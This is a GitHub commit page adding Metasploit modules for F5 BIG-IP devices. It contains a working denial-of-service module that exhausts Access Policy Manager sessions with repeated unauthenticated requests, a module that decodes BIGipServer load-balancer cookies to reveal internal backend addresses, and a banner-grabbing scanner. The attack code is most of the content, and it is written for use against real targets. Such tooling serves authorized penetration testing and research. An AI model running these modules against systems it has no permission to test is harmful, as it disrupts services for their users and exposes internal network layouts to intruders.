Skip to content

Commit a5267ab

Browse files
committed
Land rapid7#4940, @dnkolegov's modules for F5 BIG-IP devices
2 parents 657ae2c + efb226a commit a5267ab

File tree

4 files changed

+352
-60
lines changed

4 files changed

+352
-60
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Dos
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
15+
'Description' => %q{
16+
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
17+
unauthenticated attacker can establish multiple connections with BigIP Access Policy
18+
Manager (APM) and exhaust all available sessions defined in customer license. In the
19+
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
20+
system creates a session, marks it as pending and then redirects the client to an access
21+
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
22+
and deletes the session only if an access policy timeout expires, the attacker can exhaust
23+
all available sessions by repeatedly sending the initial HTTP request and leaving the
24+
sessions as pending.
25+
},
26+
'Author' =>
27+
[
28+
'Denis Kolegov <dnkolegov[at]gmail.com>',
29+
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
30+
'Nikita Oleksov <neoleksov[at]gmail.com>'
31+
],
32+
'References' =>
33+
[
34+
['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
35+
],
36+
'License' => MSF_LICENSE,
37+
'DefaultOptions' =>
38+
{
39+
'SSL' => true,
40+
'SSLVersion' => 'TLS1',
41+
'RPORT' => 443
42+
}
43+
))
44+
45+
register_options(
46+
[
47+
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
48+
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false])
49+
], self.class)
50+
end
51+
52+
def run
53+
limit = datastore['RLIMIT']
54+
force_attack = datastore['FORCE']
55+
56+
res = send_request_cgi('method' => 'GET', 'uri' => '/')
57+
58+
unless res
59+
print_error("#{peer} - No answer from the BigIP server")
60+
return
61+
end
62+
63+
# Simple test based on HTTP Server header to detect BigIP virtual server
64+
server = res.headers['Server']
65+
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
66+
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
67+
return
68+
end
69+
70+
print_status("#{peer} - Starting DoS attack")
71+
72+
# Start attack
73+
limit.times do |step|
74+
if step % 100 == 0
75+
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
76+
end
77+
res = send_request_cgi('method' => 'GET', 'uri' => '/')
78+
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
79+
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
80+
return
81+
end
82+
end
83+
84+
# Check if attack has failed
85+
res = send_request_cgi('method' => 'GET', 'uri' => uri)
86+
if res.headers['Location'] =~ /\/my.policy/
87+
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
88+
else
89+
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
90+
end
91+
92+
rescue ::Errno::ECONNRESET
93+
print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
94+
rescue ::Rex::ConnectionRefused
95+
print_error("#{peer} - Unable to connect to BigIP")
96+
rescue ::Rex::ConnectionTimeout
97+
print_error("#{peer} - Unable to connect to BigIP. Please check options")
98+
rescue ::OpenSSL::SSL::SSLError
99+
print_error("#{peer} - SSL/TLS connection error")
100+
end
101+
end

modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb

Lines changed: 65 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Auxiliary
9-
109
include Msf::Auxiliary::Report
1110
include Msf::Exploit::Remote::HttpClient
1211

@@ -30,125 +29,131 @@ def initialize(info = {})
3029
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
3130
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
3231
],
33-
'License' => MSF_LICENSE
32+
'License' => MSF_LICENSE,
33+
'DefaultOptions' =>
34+
{
35+
'SSLVersion' => 'TLS1'
36+
}
3437
))
3538

3639
register_options(
3740
[
41+
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
42+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
3843
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
39-
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
44+
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
4045
], self.class)
4146
end
4247

43-
def change_endianness(value, size=4)
48+
def change_endianness(value, size = 4)
4449
conversion = nil
45-
4650
if size == 4
4751
conversion = [value].pack("V").unpack("N").first
4852
elsif size == 2
4953
conversion = [value].pack("v").unpack("n").first
5054
end
51-
5255
conversion
5356
end
5457

5558
def cookie_decode(cookie_value)
56-
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
57-
host = $1.to_i
58-
port = $2.to_i
59+
backend = {}
60+
case
61+
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
62+
host = Regexp.last_match(1).to_i
63+
port = Regexp.last_match(2).to_i
5964
host = change_endianness(host)
6065
host = Rex::Socket.addr_itoa(host)
6166
port = change_endianness(port, 2)
62-
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
63-
host = $1.to_i(16)
64-
port = $2.to_i
67+
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
68+
host = Regexp.last_match(1).to_i(16)
69+
port = Regexp.last_match(2).to_i
6570
host = Rex::Socket.addr_itoa(host)
66-
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
67-
host = $1.to_i(16)
68-
port = $2.to_i
69-
host = Rex::Socket.addr_itoa(host, v6=true)
71+
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
72+
host = Regexp.last_match(1).to_i(16)
73+
port = Regexp.last_match(2).to_i
74+
host = Rex::Socket.addr_itoa(host, true)
7075
port = change_endianness(port, 2)
71-
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
72-
host = $1.to_i(16)
73-
port = $2.to_i
74-
host = Rex::Socket.addr_itoa(host, v6=true)
75-
elsif cookie_value =~ /!.{104}/
76+
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
77+
host = Regexp.last_match(1).to_i(16)
78+
port = Regexp.last_match(2).to_i
79+
host = Rex::Socket.addr_itoa(host, true)
80+
else
7681
host = nil
7782
port = nil
7883
end
79-
host.nil? ? nil : "#{host}:#{port}"
84+
85+
backend[:host] = host.nil? ? nil : host
86+
backend[:port] = port.nil? ? nil : port
87+
backend
8088
end
8189

8290
def get_cookie # request a page and extract a F5 looking cookie.
8391
cookie = {}
84-
res = send_request_raw({
85-
'method' => 'GET',
86-
'uri' => @uri
87-
})
92+
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
8893

8994
unless res.nil?
9095
# Get the SLB session IDs for all cases:
9196
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
9297
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
9398
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
94-
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
95-
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
96-
97-
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
98-
cookie[:id] = m.nil? ? nil : m[1]
99-
cookie[:value] = m.nil? ? nil : m[2]
100-
end
101-
99+
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
100+
101+
regexp = /
102+
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
103+
(rd\d+o0{20}f{4}\w+o\d{1,5})|
104+
(vi([a-f0-9]{32})\.(\d{1,5}))|
105+
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
106+
(?:$|,|;|\s)
107+
/x
108+
m = res.get_cookies.match(regexp)
109+
cookie[:id] = (m.nil?) ? nil : m[1]
110+
cookie[:value] = (m.nil?) ? nil : m[2]
111+
end
102112
cookie
103113
end
104114

105115
def run
106-
unless datastore['REQUESTS'] > 0
107-
print_error("Please, configure more than 0 REQUESTS")
108-
return
109-
end
110-
111-
back_ends = []
116+
requests = datastore['REQUESTS']
117+
backends = []
112118
@uri = normalize_uri(target_uri.path.to_s)
113119
print_status("#{peer} - Starting request #{@uri}")
114120

115-
for i in 0...datastore['REQUESTS']
116-
cookie = get_cookie() # Get the cookie
121+
(1..requests).each do |i|
122+
cookie = get_cookie # Get the cookie
117123
# If the cookie is not found, stop process
118124
if cookie.empty? || cookie[:id].nil?
119125
print_error("#{peer} - F5 BigIP load balancing cookie not found")
120-
break
126+
return
121127
end
122128

123129
# Print the cookie name on the first request
124-
if i == 0
125-
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
130+
if i == 1
131+
print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
126132
if cookie[:id].start_with?('BIGipServer')
127-
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
133+
print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
128134
end
129135
if cookie[:value].start_with?('rd')
130-
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
131-
end
132-
if cookie[:value].start_with?('!')
133-
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
136+
print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
134137
end
135138
end
136139

137-
back_end = cookie_decode(cookie[:value])
138-
unless back_end.nil? || back_ends.include?(back_end)
139-
print_status("#{peer} - Backend #{back_end} found")
140-
back_ends.push(back_end)
140+
backend = cookie_decode(cookie[:value])
141+
unless backend[:host].nil? || backends.include?(backend)
142+
print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
143+
backends.push(backend)
141144
end
142145
end
143146

144147
# Reporting found backends in database
145-
unless back_ends.empty?
146-
report_note(
147-
:host => rhost,
148-
:type => "f5_load_balancer_backends",
149-
:data => back_ends
150-
)
148+
unless backends.empty?
149+
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
151150
end
152151

152+
rescue ::Rex::ConnectionRefused
153+
print_error("#{peer} - Network connection error")
154+
rescue ::Rex::ConnectionError
155+
print_error("#{peer} - Network connection error")
156+
rescue ::OpenSSL::SSL::SSLError
157+
print_error("#{peer} - SSL/TLS connection error")
153158
end
154159
end
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Scanner
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'F5 BigIP HTTP Virtual Server Scanner',
15+
'Description' => %q{
16+
This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses
17+
different HTTP profiles for managing HTTP traffic and these profiles allow to customize
18+
the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending
19+
on the BigIP system version.
20+
},
21+
'Author' =>
22+
[
23+
'Denis Kolegov <dnkolegov[at]gmail.com>',
24+
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
25+
'Nikita Oleksov <neoleksov[at]gmail.com>'
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'],
31+
]
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']),
37+
OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]),
38+
], self.class)
39+
40+
deregister_options('RPORT')
41+
end
42+
43+
def bigip_http?(ip, port, ssl)
44+
begin
45+
res = send_request_raw(
46+
{
47+
'method' => 'GET',
48+
'uri' => '/',
49+
'rport' => port,
50+
'SSL' => ssl,
51+
},
52+
datastore['TIMEOUT'])
53+
return false unless res
54+
server = res.headers['Server']
55+
return true if server =~ /BIG\-IP/ || server =~ /BigIP/
56+
rescue ::Rex::ConnectionRefused
57+
vprint_error("#{ip}:#{port} - Connection refused")
58+
rescue ::Rex::ConnectionError
59+
vprint_error("#{ip}:#{port} - Connection error")
60+
rescue ::OpenSSL::SSL::SSLError
61+
vprint_error("#{ip}:#{port} - SSL/TLS connection error")
62+
end
63+
64+
false
65+
end
66+
67+
def run_host(ip)
68+
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
69+
70+
if ports.empty?
71+
print_error('PORTS options is invalid')
72+
return
73+
end
74+
75+
ports.each do |port|
76+
77+
unless port == 443 # Skip http check for 443
78+
if bigip_http?(ip, port, false)
79+
print_good("#{ip}:#{port} - BigIP HTTP virtual server found")
80+
next
81+
end
82+
end
83+
84+
unless port == 80 # Skip https check for 80
85+
if bigip_http?(ip, port, true)
86+
print_good("#{ip}:#{port} - BigIP HTTPS virtual server found")
87+
end
88+
end
89+
end
90+
end
91+
end

0 commit comments

Comments
 (0)